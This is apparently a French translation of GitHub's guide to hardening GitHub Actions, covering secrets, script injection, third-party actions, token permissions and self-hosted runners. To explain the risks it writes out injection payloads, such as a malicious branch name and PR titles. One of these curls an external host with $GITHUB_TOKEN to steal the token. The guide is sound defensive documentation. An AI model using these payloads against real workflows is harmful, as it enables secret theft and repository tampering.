Durcissement de la sécurité pour GitHub Actions

Vue d’ensemble

Ce guide explique comment configurer le durcissement de la sécurité pour certaines fonctionnalités GitHub Actions. Si les concepts GitHub Actions ne sont pas familiers, consultez « Comprendre GitHub Actions ».

Utilisation de secrets

Les valeurs sensibles ne doivent jamais être stockées sous forme de texte en clair dans les fichiers de workflow, mais plutôt comme secrets. Les secrets peuvent être configurés au niveau de l'organisation, du dépôt ou de l'environnement et vous permettent de stocker des informations sensibles dans GitHub Enterprise Server.

Les secrets

Pour empêcher toute divulgation accidentelle, GitHub Enterprise Server utilise un mécanisme qui tente de retirer les secrets qui apparaissent dans les journaux d'exécution. Ce retrait recherche des correspondances exactes de tous les secrets configurés utilisés dans le projet, ainsi que des encodages courants des valeurs, comme Base64. Toutefois, étant donné qu'il existe plusieurs façons de transformer une valeur secrète, ce retrait n'est pas garanti. En outre, l'exécuteur ne peut retirer que les secrets utilisés dans le projet actuel. Par conséquent, vous devez suivre certaines étapes proactives et bonnes pratiques pour vous assurer que les secrets sont retirés et limiter les autres risques associés aux secrets :

• Ne jamais utiliser de données structurées comme secret
  • Les données structurées peuvent entraîner l'échec du retrait des secrets dans les journaux, car le retrait s'appuie en grande partie sur la recherche d'une correspondance exacte pour la valeur secrète spécifique. Par exemple, n'utilisez pas d'objet blob JSON, XML ou YAML (ou similaire) pour encapsuler une valeur secrète, car cela réduit considérablement la probabilité que les secrets soient correctement retirés. Au lieu de cela, créez des secrets individuels pour chaque valeur sensible.
• Inscrire tous les secrets utilisés dans les workflows
  • Si un secret est utilisé pour générer une autre valeur sensible dans un workflow, cette valeur générée doit être inscrite officiellement en tant que secret afin qu'elle soit retirée si elle apparaît dans les journaux. Par exemple, si vous utilisez une clé privée pour générer un jeton JWT signé pour accéder à une API web, veillez à inscrire ce jeton JWT en tant que secret, sinon il ne sera pas retiré s'il entre dans la sortie du journal.
  • L'inscription des secrets s'applique également à toute sorte de transformation/d'encodage. Si votre secret est transformé d'une quelconque manière (par exemple, encodé en Base64 ou en URL), veillez également à inscrire la nouvelle valeur en tant que secret.
• Auditer la façon dont les secrets sont gérés
  • Auditez la manière dont les secrets sont utilisés pour vous assurer qu'ils sont gérés comme prévu. Pour ce faire, examinez le code source du dépôt exécutant le workflow et vérifiez toutes les actions utilisées dans le workflow. Par exemple, vérifiez qu'ils ne sont pas envoyés à des hôtes involontaires ni imprimés explicitement dans la sortie du journal.
  • Affichez les journaux d'exécution de votre workflow après avoir testé des entrées valides/non valides, et vérifiez que les secrets sont correctement retirés, ou masqués. Il n'est pas toujours évident de savoir comment une commande ou un outil que vous appelez envoie des erreurs à STDOUT et STDERR, et les secrets peuvent se retrouver par la suite dans les journaux des erreurs. Par conséquent, il est recommandé d'examiner manuellement les journaux de workflow après avoir testé des entrées valides et non valides. Pour plus d'informations sur la façon de nettoyer des journaux de flux de travail susceptibles de contenir involontairement des données sensibles, consultez « Using workflow run logs ».
• Utiliser des informations d'identification limitées au minimum
  • Assurez-vous que les informations d'identification utilisées dans les workflows disposent des privilèges minimum requis, et n'oubliez pas que tout utilisateur ayant un accès en écriture à votre dépôt dispose d'un accès en lecture à tous les secrets configurés dans ce dépôt.
  • Les actions peuvent utiliser GITHUB_TOKEN en y accédant à partir du contexte github.token. Pour plus d'informations, consultez « Accès à des informations contextuelles sur l’exécution d’un workflow ». Vous devez donc vous assurer que GITHUB_TOKEN dispose des autorisations minimales requises. En matière de sécurité, il est recommandé de définir l'autorisation par défaut pour GITHUB_TOKEN sur l'accès en lecture uniquement pour le contenu du dépôt. Les autorisations peuvent ensuite être augmentées, selon les besoins, pour des travaux individuels dans le fichier de workflow. Pour plus d'informations, consultez « Authentification par jeton automatique ».
• Auditer et faire pivoter les secrets inscrits
  • Passez régulièrement en revue les secrets inscrits pour confirmer qu'ils sont toujours requis. Supprimez ceux qui ne sont plus nécessaires.
  • Faites pivoter régulièrement les secrets pour réduire la fenêtre de temps pendant laquelle un secret compromis est valide.
• Envisager d'exiger une révision pour l'accès aux secrets
  • Vous pouvez utiliser des réviseurs nécessaires pour protéger les secrets d'environnement. Un travail de workflow ne peut pas accéder aux secrets d'environnement tant que l'approbation n'est pas accordée par un réviseur. Pour plus d'informations sur le stockage de secrets dans des environnements ou sur la nécessité de révisions pour les environnements, consultez « Utilisation de secrets dans GitHub Actions » et « Gestion des environnements pour le déploiement ».

Utilisation de CODEOWNERS pour superviser les modifications

Vous pouvez utiliser la fonctionnalité CODEOWNERS pour contrôler la façon dont les modifications sont apportées à vos fichiers de workflow. Par exemple, si tous vos fichiers de workflow sont stockés dans .github/workflows, vous pouvez ajouter ce répertoire à la liste des propriétaires de code afin que toutes les modifications proposées pour ces fichiers nécessitent d'abord l'approbation d'un réviseur désigné.

Pour plus d'informations, consultez « À propos des propriétaires de code ».

Compréhension du risque d'injections de scripts

Lors de la création de workflows, d'actions personnalisées et d'actions composites, vous devez toujours déterminer si votre code peut exécuter des entrées non approuvées provenant d'attaquants. Cela peut se produire lorsqu'un attaquant ajoute des commandes et des scripts malveillants à un contexte. Lorsque votre workflow s'exécute, ces chaînes peuvent être interprétées comme du code qui est ensuite exécuté sur l'exécuteur.

Les attaquants peuvent ajouter leur propre contenu malveillant au contexte github, qui doit être traité comme une entrée potentiellement non approuvée. Ces contextes se terminent généralement par body, default_branch, email, head_ref, label, message, name, page_name,ref et title. Par exemple : github.event.issue.title ou github.event.pull_request.body.

Vous devez vous assurer que ces valeurs ne sont pas directement transmises aux workflows, actions, appels d'API, ni ailleurs où elles peuvent être interprétées comme du code exécutable. En adoptant la même posture de programmation défensive que pour tout autre code d'application privilégié, vous pouvez durcir la sécurité de votre utilisation de GitHub Actions. Pour plus d'informations sur certaines des étapes qu'un attaquant pourrait suivre, consultez « Durcissement de la sécurité pour GitHub Actions ».

En outre, il existe d'autres sources moins évidentes d'entrées potentiellement non approuvées, telles que les noms de branche et les adresses e-mail, qui peuvent être assez flexibles en termes de contenu autorisé. Par exemple, zzz";echo${IFS}"hello";# pourrait être un nom de branche valide et un vecteur d'attaque possible pour un dépôt cible.

Les sections suivantes expliquent comment vous pouvez atténuer le risque d'injection de script.

Exemple d'attaque par injection de script

Une attaque par injection de script peut se produire directement dans le script Inline d'un workflow. Dans l'exemple suivant, une action utilise une expression pour tester la validité d'un titre de demande de tirage, mais ajoute également le risque d'injection de script :

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Cet exemple est vulnérable à l'injection de script, car la commande run s'exécute dans un script shell temporaire sur l'exécuteur. Avant l'exécution du script shell, les expressions à l'intérieur de ${{ }} sont évaluées, puis remplacées par les valeurs résultantes, ce qui peut la rendre vulnérable à l'injection de commande d'environnement.

Pour injecter des commandes dans ce workflow, l'attaquant peut créer une demande de tirage avec le titre a"; ls $GITHUB_WORKSPACE" :

Dans cet exemple, le caractère " est utilisé pour interrompre l'instruction title="${{ github.event.pull_request.title }}", ce qui permet à la commande ls d'être exécutée sur l'exécuteur. Vous pouvez voir la sortie de la commande ls dans le journal :

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

Bonnes pratiques pour atténuer les attaques par injection de script

Il existe un certain nombre d'approches différentes pour vous aider à atténuer le risque d'injection de script :

Utilisation d'une action au lieu d'un script Inline (recommandé)

L’approche recommandée consiste à créer une action JavaScript qui traite la valeur de contexte en tant qu’argument. Cette approche n’est pas vulnérable à l’attaque par injection, dans la mesure où la valeur du contexte n’est pas utilisée pour générer un script shell, mais est transmise à l’action en tant qu’argument :

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Utilisation d'une variable d'environnement intermédiaire

Pour les scripts Inline, l'approche privilégiée pour gérer les entrées non approuvées consiste à définir la valeur de l'expression sur une variable d'environnement intermédiaire.

L'exemple suivant utilise Bash pour traiter la valeur github.event.pull_request.title en tant que variable d'environnement :

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Dans cet exemple, la tentative d'injection de script échoue, ce qui est reflété par les lignes suivantes dans le journal :

   env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

Avec cette approche, la valeur de l'expression ${{ github.event.issue.title }} est stockée en mémoire et utilisée comme variable, et n'interagit pas avec le processus de génération de script. En outre, envisagez d'utiliser des variables d'environnement entre guillemets doubles pour éviter le fractionnement de mots, mais il s'agit de l'une des nombreuses recommandations générales pour l'écriture de scripts shell et elle n'est pas spécifique à GitHub Actions.

Restriction des autorisations pour les jetons

Pour atténuer le risque d'un jeton exposé, envisagez de restreindre les autorisations affectées. Pour plus d’informations, consultez « Authentification par jeton automatique ».

Utilisation d'OpenID Connect pour accéder aux ressources cloud

Si vos workflows GitHub Actions doivent accéder aux ressources d’un fournisseur de cloud qui prend en charge OpenID Connecter (OIDC), vous pouvez configurer vos workflows pour qu’ils s’authentifient directement auprès du fournisseur de cloud. Cela vous permet d’arrêter de stocker ces informations d’identification en tant que secrets de longue durée, et de fournir d’autres avantages en matière de sécurité. Pour plus d’informations, consultez « À propos du renforcement de la sécurité avec OpenID Connect ».

Utilisation d'actions tierces

Les travaux individuels d'un workflow peuvent interagir avec d'autres travaux (et les compromettre). Par exemple, un travail qui interroge les variables d'environnement utilisées par un travail ultérieur, qui écrit des fichiers dans un répertoire partagé qu'un travail ultérieur traite ou encore plus directement qui interagit avec le socket Docker et inspecte d'autres conteneurs en cours d'exécution et exécute des commandes dans ces derniers.

Cela signifie qu'une compromission d'une seule action au sein d'un workflow peut être très importante, car cette action compromise aurait accès à tous les secrets configurés sur votre dépôt et peut être en mesure d'utiliser GITHUB_TOKEN pour écrire dans le dépôt. Par conséquent, il existe un risque important dans le provisionnement d'actions provenant de dépôts tiers sur GitHub. Pour plus d'informations sur certaines des étapes qu'un attaquant pourrait suivre, consultez « Durcissement de la sécurité pour GitHub Actions ».

Vous pouvez atténuer ce risque en suivant ces bonnes pratiques :

• Épingler des actions à un SHA de commit de longueur complète

  L'épinglage d'une action à un SHA de commit de longueur complète est actuellement le seul moyen d'utiliser une action en tant que version immuable. L'épinglage à un SHA particulier permet d'atténuer le risque d'un intervenant malveillant qui ajoute une porte dérobée au dépôt de l'action, car il devrait générer une collision SHA-1 pour une charge utile d'objet Git valide. Lorsque vous sélectionnez un SHA, vous devez vérifier qu’il provient du dépôt de l’action et non d’une fourche de dépôt.

• Auditer le code source de l'action

  Vérifiez que l'action gère le contenu de votre dépôt et vos secrets comme prévu. Par exemple, vérifiez que les secrets ne sont pas envoyés à des hôtes involontaires ni journalisés par inadvertance.

• Épingler des actions à une balise uniquement si vous approuvez le créateur

  Bien que l'épinglage à un SHA de commit soit l'option la plus sécurisée, la spécification d'une balise est plus pratique et est largement utilisée. Si vous souhaitez spécifier une balise, veillez à faire confiance aux créateurs de l'action. Le badge « Créateur vérifié » sur GitHub Marketplace est un signal utile, car il indique que l'action a été écrite par une équipe dont l'identité a été vérifiée par GitHub. Notez qu'il existe un risque lié à cette approche, même si vous approuvez l'auteur, car une balise peut être déplacée ou supprimée si un intervenant malveillant obtient l'accès au dépôt stockant l'action.

Réutilisation de workflows tiers

Les mêmes principes décrits ci-dessus pour l'utilisation d'actions tierces s'appliquent également à l'utilisation de workflows tiers. Vous pouvez atténuer les risques associés à la réutilisation des workflows en suivant les mêmes bonnes pratiques décrites ci-dessus. Pour plus d’informations, consultez « Réutilisation des workflows ».

Utilisation de Dependabot version updates pour garder les actions à jour

Vous pouvez utiliser Dependabot pour vous assurer que les références aux actions et aux flux de travail réutilisables utilisés dans votre référentiel sont actualisées. Les actions sont souvent mises à jour avec des correctifs de bogues et de nouvelles fonctionnalités pour rendre les processus automatisés plus rapides, plus sûrs et plus fiables. Dependabot vous évite d'avoir à gérer vos dépendances, car le fait automatiquement pour vous. Pour plus d’informations, consultez « Maintenir vos actions à jour avec Dependabot » et « À propos des mises à jour de sécurité Dependabot ».

Autorisation de l’accès des workflows aux dépôts internes et privés

Si vous rendez un référentiel privé accessible aux workflows GitHub Actions dans d’autres référentiels, les collaborateurs externes des autres référentiels peuvent indirectement accéder au référentiel privé, même s’ils n’ont pas d’accès direct à ces référentiels. Les collaborateurs externes peuvent consulter les journaux des exécutions de workflow lorsque des actions ou des workflows du référentiel privé sont utilisés. Pour plus d'informations, consultez « Partage d’actions et de workflows au sein de votre entreprise ».

Pour permettre aux exécuteurs de télécharger ces actions, GitHub transmet un jeton d’installation délimité à l’exécuteur. Ce jeton a un accès en lecture au référentiel et expire automatiquement après une heure.

Empêcher GitHub Actions de créer ou d'approuver des demandes de tirage

Vous pouvez choisir d’autoriser ou d’empêcher les workflows GitHub Actions de créer ou d’approuver les demandes de tirage (pull request). Autoriser les workflows, ou toute autre automatisation, à créer ou à approuver les demandes de tirage peut poser un risque de sécurité si la demande de tirage est fusionnée sans la supervision appropriée.

Pour plus d’informations sur la configuration de ce paramètre, consultez « Application de stratégies pour GitHub Actions dans votre entreprise », « Désactivation ou limitation de GitHub Actions pour votre organisation » et « Gestion des paramètres de GitHub Actions pour un dépôt ».

Utilisation d'OpenSSF Scorecards pour sécuriser les workflows

Scorecards est un outil de sécurité automatisé qui signale les pratiques de chaîne d'approvisionnement risquées. Vous pouvez utiliser l’action Scorecards et le modèle de workflow pour suivre les meilleures pratiques en matière de sécurité. Une fois configurée, l’action Scorecards s’exécute automatiquement lors des modifications du référentiel et alerte les développeurs sur les pratiques de chaîne d’approvisionnement risquées à l’aide de l’expérience d’code scanning. Le projet Scorecards exécute un certain nombre de vérifications, notamment les attaques par injection de script, les autorisations de jeton et les actions épinglées.

Impact potentiel d'un exécuteur compromis

Ces sections envisagent certaines des étapes qu'un attaquant peut suivre s'il est en mesure d'exécuter des commandes malveillantes sur un exécuteur GitHub Actions.

Accès aux secrets

Les workflows déclenchés depuis un dépôt dupliqué à l'aide de l'événement pull_request disposent d'autorisations en lecture seule et n'ont pas accès aux secrets. Toutefois, ces autorisations diffèrent pour divers déclencheurs d'événements comme issue_comment, issues, push et pull_request provenant d'une branche au sein du dépôt, où un attaquant pourrait tenter de voler des secrets de dépôt ou d'utiliser l'autorisation d'accès en écriture du GITHUB_TOKEN du travail.

• Si le secret ou le jeton est défini sur une variable d'environnement, il est directement accessible via l'environnement à l'aide de printenv.

• Si le secret est utilisé directement dans une expression, le script shell généré est stocké sur disque et est accessible.

• Pour une action personnalisée, le risque peut varier selon la façon dont un programme utilise le secret qu'il a obtenu à partir de l'argument :

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Bien que GitHub Actions nettoie les secrets de la mémoire qui ne sont pas référencés dans le workflow (ou une action incluse), GITHUB_TOKEN et les secrets référencés peuvent être collectés par un attaquant déterminé.

Exfiltration des données d'un exécuteur

Un attaquant peut exfiltrer les secrets volés ou d'autres données de l'exécuteur. Pour empêcher la divulgation accidentelle de secrets, GitHub Actions retire automatiquement les secrets imprimés dans le journal, mais ce n'est pas une véritable limite de sécurité, car les secrets peuvent être envoyés intentionnellement au journal. Par exemple, les secrets obfusqués peuvent être exfiltrés avec echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. En outre, étant donné que l'attaquant peut exécuter des commandes arbitraires, il peut utiliser des requêtes HTTP pour envoyer des secrets ou d'autres données de dépôt à un serveur externe.

Vol du GITHUB_TOKEN du travail

Il est possible qu'un attaquant vole le GITHUB_TOKEN d'un travail. L'exécuteur GitHub Actions reçoit automatiquement un GITHUB_TOKEN généré avec des autorisations limitées au dépôt qui contient le workflow, et le jeton expire une fois le travail terminé. Une fois expiré, le jeton n'est plus utile à un attaquant. Pour contourner cette limitation, il peut automatiser l'attaque et l'effectuer en fractions de seconde en appelant un serveur contrôlé par l'attaquant avec le jeton, par exemple : a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Modification du contenu d'un référentiel

Le serveur attaquant peut utiliser l'API GitHub Enterprise Server pour modifier le contenu du dépôt, y compris les versions, si les autorisations affectées de GITHUB_TOKEN ne sont pas limitées.

Prise en compte de l'accès entre dépôts

GitHub Actions est intentionnellement limité à un seul dépôt à la fois. GITHUB_TOKEN octroie le même niveau d'accès qu'un utilisateur disposant d'un accès en écriture, car tout utilisateur ayant un accès en écriture peut accéder à ce jeton en créant ou en modifiant un fichier de workflow, et en élevant les autorisations de GITHUB_TOKEN si nécessaire. Les utilisateurs disposent d'autorisations spécifiques pour chaque dépôt. Si vous permettez au GITHUB_TOKEN pour un dépôt d'accorder l'accès à un autre, cela impacte le modèle d'autorisation GitHub s'il n'est pas implémenté avec soin. De même, vous devez agir avec précaution lors de l'ajout de jetons d'authentification GitHub à un workflow, car cela peut également affecter le modèle d'autorisation GitHub en accordant par inadvertance un accès étendu aux collaborateurs.

Si votre organisation appartient à un compte d'entreprise, vous pouvez partager et réutiliser GitHub Actions en les stockant dans des référentiels internes. Pour plus d'informations, consultez « Partage d’actions et de workflows au sein de votre entreprise ».

Vous pouvez effectuer d'autres interactions entre référentiels privilégiés en référençant un jeton d'authentification GitHub ou une clé SSH en tant que secret dans le workflow. Étant donné que de nombreux types de jetons d'authentification ne tiennent pas compte de l'accès précis à des ressources spécifiques, il existe un risque important d'utiliser le type de jeton incorrect, car il peut accorder un accès beaucoup plus large que prévu.

Cette liste décrit les approches recommandées pour accéder aux données de dépôt dans un workflow, dans l'ordre décroissant de préférence :

1. LeGITHUB_TOKEN
   • L'étendue de ce jeton est intentionnellement limitée au dépôt qui a appelé le workflow. Le jeton peut avoir le même niveau d'accès qu'un utilisateur disposant d'un accès en écriture sur le dépôt. Le jeton est créé avant que chaque travail commence et expire lorsque le travail est terminé. Pour plus d'informations, consultez « Authentification par jeton automatique ».
   • GITHUB_TOKEN doit être utilisé chaque fois que possible.
2. Clé de déploiement de dépôt
   • Les clés de déploiement sont l'un des seuls types d'informations d'identification qui accordent un accès en lecture ou en écriture à un seul dépôt, et peuvent être utilisées pour interagir avec un autre dépôt dans un workflow. Pour plus d'informations, consultez « Gestion des clés de déploiement ».
   • Notez que les clés de déploiement peuvent uniquement cloner et envoyer des données vers le dépôt à l'aide de Git et ne peuvent pas être utilisées pour interagir avec l'API REST ou GraphQL, de sorte qu'elles ne sont peut-être pas appropriées à vos besoins.
3. Jetons GitHub App
   • GitHub Apps peut être installé sur des dépôts sélectionnés, et même disposer d'autorisations précises sur les ressources qu'ils contiennent. Vous pouvez créer une GitHub App interne à votre organisation, l'installer sur les dépôts auxquels vous avez besoin d'accéder au sein de votre workflow et vous authentifier en tant qu'installation au sein de votre workflow pour accéder à ces dépôts. Pour plus d'informations, consultez « Effectuer des requêtes d’API authentifiées avec une application GitHub dans un workflow GitHub Actions ».
4. personal access tokens
   • Vous ne devez jamais utiliser de personal access token (classic). Ces jetons accordent l'accès à tous les dépôts au sein des organisations auxquelles vous avez accès ainsi qu'à tous les dépôts personnels de votre compte personnel. Cela accorde indirectement un accès étendu à tous les utilisateurs avec un accès en écriture du dépôt dans lequel se trouve le workflow.
   • Si vous utilisez un personal access token, vous ne devez jamais utiliser un personal access token de votre propre compte. Si vous quittez une organisation, les workflows utilisant ce jeton s'interrompent immédiatement et le débogage de ce problème peut être difficile. Au lieu de cela, vous devez utiliser un fine-grained personal access token d’un nouveau compte qui appartient à votre organisation et qui n’a accès qu’à des dépôts spécifiques qui sont nécessaires au workflow. Notez que cette approche n'est pas scalable et doit être évitée en faveur d'alternatives, telles que les clés de déploiement.
5. Clés SSH sur un compte personnel
   • Les workflows ne doivent jamais utiliser les clés SSH sur un compte personnel. Comme pour les personal access tokens (classic), elles accordent des autorisations en lecture/écriture à tous vos dépôts personnels ainsi qu'à tous les dépôts auxquels vous avez accès via l'appartenance à l'organisation. Cela accorde indirectement un accès étendu à tous les utilisateurs avec un accès en écriture du dépôt dans lequel se trouve le workflow. Si vous envisagez d'utiliser une clé SSH parce que vous devez uniquement effectuer des clones ou des envois de dépôts, et non interagir avec des API publiques, vous devez utiliser des clés de déploiement individuelles à la place.

Sécurisation renforcée pour les exécuteurs hébergés GitHub

Durcissement pour les exécuteurs auto-hébergés

auto-hébergés pour GitHub Enterprise Server n’ont pas de garanties concernant l’exécution dans des machines virtuelles propres éphémères et peuvent être compromis de manière permanente par du code non approuvé dans un workflow.

Soyez prudent quand vous utilisez des exécuteurs autohébergés sur des référentiels privés ou internes, car les personnes qui peuvent dupliquer (fork) le référentiel et ouvrir une demande de tirage (pull request) (généralement celles qui ont un accès en lecture au référentiel) peuvent compromettre l’environnement des exécuteurs autohébergés, notamment en accédant aux secrets et à GITHUB_TOKEN qui, en fonction de ses paramètres, peut accorder un accès en écriture au référentiel. Bien que les workflows puissent contrôler l'accès aux secrets d'environnement à l'aide d'environnements et de révisions nécessaires, ces workflows ne sont pas exécutés dans un environnement isolé et encourent toujours les mêmes risques lors de l'exécution sur un exécuteur auto-hébergé.

Les propriétaires d’entreprise et d’organisation peuvent choisir les référentiels autorisés à créer des exécuteurs auto-hébergés au niveau du référentiel. .

Pour plus d’informations, consultez « Application de stratégies pour GitHub Actions dans votre entreprise » et « Désactivation ou limitation de la fonctionnalité GitHub Actions pour votre organisation ».

Lorsqu'un exécuteur auto-hébergé est défini au niveau de l'organisation ou de l'entreprise, GitHub Enterprise Server peut planifier des workflows à partir de plusieurs dépôts sur le même exécuteur. Par conséquent, une compromission de la sécurité de ces environnements peut avoir un impact important. Pour réduire l'étendue d'une compromission, vous pouvez créer des limites en organisant vos exécuteurs auto-hébergés en groupes distincts. Vous pouvez restreindre les workflows, organisations et dépôts ayant accès aux groupes d'exécuteurs. Pour plus d'informations, consultez « Gestion de l’accès aux exécuteurs auto-hébergés à l’aide de groupes ».

Vous devez également prendre en compte l'environnement des machines d'exécuteurs auto-hébergés :

• Quelles informations sensibles résident sur la machine configurée en tant qu'exécuteur auto-hébergé ? Par exemple, les clés SSH privées, les jetons d'accès aux API, entre autres.
• La machine dispose-t-elle d'un accès réseau aux services sensibles ? Par exemple, les services de métadonnées Azure ou AWS. La quantité d'informations sensibles dans cet environnement doit être réduite au minimum, et vous devez toujours être conscient que tout utilisateur capable d'appeler des workflows a accès à cet environnement.

Certains clients peuvent tenter d'atténuer partiellement ces risques en implémentant des systèmes qui détruisent automatiquement l'exécuteur auto-hébergé après l'exécution de chaque travail. Toutefois, cette approche peut ne pas être aussi efficace que prévu, car il n'existe aucun moyen de garantir qu'un exécuteur auto-hébergé exécute un seul travail. Certains travaux utilisent des secrets comme arguments de ligne de commande qui peuvent être vus par un autre travail s'exécutant sur le même exécuteur, tel que ps x -w. Cela peut entraîner des fuites de secrets.

Utilisation des exécuteurs juste-à-temps

Pour améliorer la sécurité de l'inscription des exécuteurs, vous pouvez utiliser l'API REST pour créer des exécuteurs éphémères juste-à-temps (JIT). Ces exécuteurs auto-hébergés effectuent tout au plus un travail avant d'être automatiquement supprimés du dépôt, de l'organisation ou de l'entreprise. Pour plus d'informations sur la configuration d'exécuteurs juste-à-temps, consultez « Points de terminaison d’API REST pour les exécuteurs auto-hébergés ».

Une fois que vous avez le fichier de configuration à partir de la réponse de l'API REST, vous pouvez le passer à l'exécuteur au démarrage.

./run.sh --jitconfig ${encoded_jit_config}

Planification de votre stratégie de gestion pour les exécuteurs auto-hébergés

Un exécuteur auto-hébergé peut être ajouté à différents niveaux de votre hiérarchie GitHub : niveau de l'entreprise, de l'organisation ou du dépôt. Ce placement détermine qui sera en mesure de gérer l'exécuteur :

Gestion centralisée :

• Si vous envisagez d'avoir une équipe centralisée propriétaire des exécuteurs auto-hébergés, il est recommandé d'ajouter vos exécuteurs au niveau le plus élevé de l'entreprise ou de l'organisation mutuelle. Cela fournit à votre équipe un emplacement unique pour afficher et gérer vos exécuteurs.
• Si vous n'avez qu'une seule organisation, l'ajout de vos exécuteurs au niveau de l'organisation est effectivement la même approche, mais vous risquez de rencontrer des difficultés si vous ajoutez une autre organisation à l'avenir.

Gestion décentralisée :

• Si chaque équipe gère ses propres exécuteurs auto-hébergés, la recommandation consiste à ajouter les exécuteurs au niveau le plus élevé de la propriété de l'équipe. Par exemple, si chaque équipe possède sa propre organisation, ce sera plus simple si les exécuteurs sont également ajoutés au niveau de l'organisation.
• Vous pouvez également ajouter des exécuteurs au niveau du dépôt, mais cela ajoute une surcharge de gestion et augmente aussi le nombre d'exécuteurs dont vous avez besoin, car vous ne pouvez pas les partager entre les dépôts.

Authentification auprès de votre fournisseur de cloud

Si vous utilisez GitHub Actions pour effectuer un déploiement sur un fournisseur de cloud ou si vous envisagez d'utiliser HashiCorp Vault pour la gestion des secrets, il est recommandé d'utiliser OpenID Connect pour créer des jetons d'accès de courte durée et bien limités pour vos exécutions de workflow. Pour plus d’informations, consultez « À propos du renforcement de la sécurité avec OpenID Connect ».

Audit des événements GitHub Actions

Vous pouvez utiliser le journal de sécurité pour surveiller l'activité de votre compte d'utilisateur et le journal d'audit pour surveiller l'activité dans votre organisation ou entreprise. Le journal de sécurité et d'audit enregistre le type d'action, quand celle-ci a été exécutée ainsi que le compte personnel qui a effectué l'action.

Par exemple, vous pouvez utiliser le journal d'audit pour suivre l'événement org.update_actions_secret, qui suit les modifications apportées aux secrets de l'organisation.

Pour obtenir la liste complète des événements que vous trouverez dans le journal d'audit pour chaque type de compte, consultez les articles suivants :

• « Événements du journal de sécurité »
• « Événements du journal d’audit pour votre organisation »
• « Événements du journal d’audit pour votre entreprise »